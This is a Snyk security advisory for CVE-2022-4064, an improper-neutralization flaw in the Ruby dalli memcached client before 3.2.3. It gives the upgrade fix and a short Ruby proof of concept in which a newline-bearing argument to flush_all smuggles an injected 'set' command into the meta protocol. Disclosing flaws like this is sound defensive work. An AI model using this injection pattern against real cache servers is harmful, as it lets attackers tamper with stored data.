Improper Neutralization Affecting dalli package, versions <3.2.3
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (40th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUBY-DALLI-3136292
- published 20 Nov 2022
- disclosed 20 Nov 2022
- credit xhzeem
Introduced: 20 Nov 2022
CVE-2022-4064 Open this link in a new tabHow to fix?
Upgrade dalli to version 3.2.3 or higher.
Overview
Affected versions of this package are vulnerable to Improper Neutralization in the self.meta_set function of the component Meta Protocol Handler.
PoC
require 'dalli'
$mcmeta = Dalli::Client.new('localhost:11211', protocol: :meta)
$mcmeta.set('xhzeem','meta')
$mcmeta.get("xhzeem") # b64_if_reg_match(\s)
puts $mcmeta.flush_all("\nset xhzeem 1 1000 8\ninjected")
References
CVSS Scores
version 3.1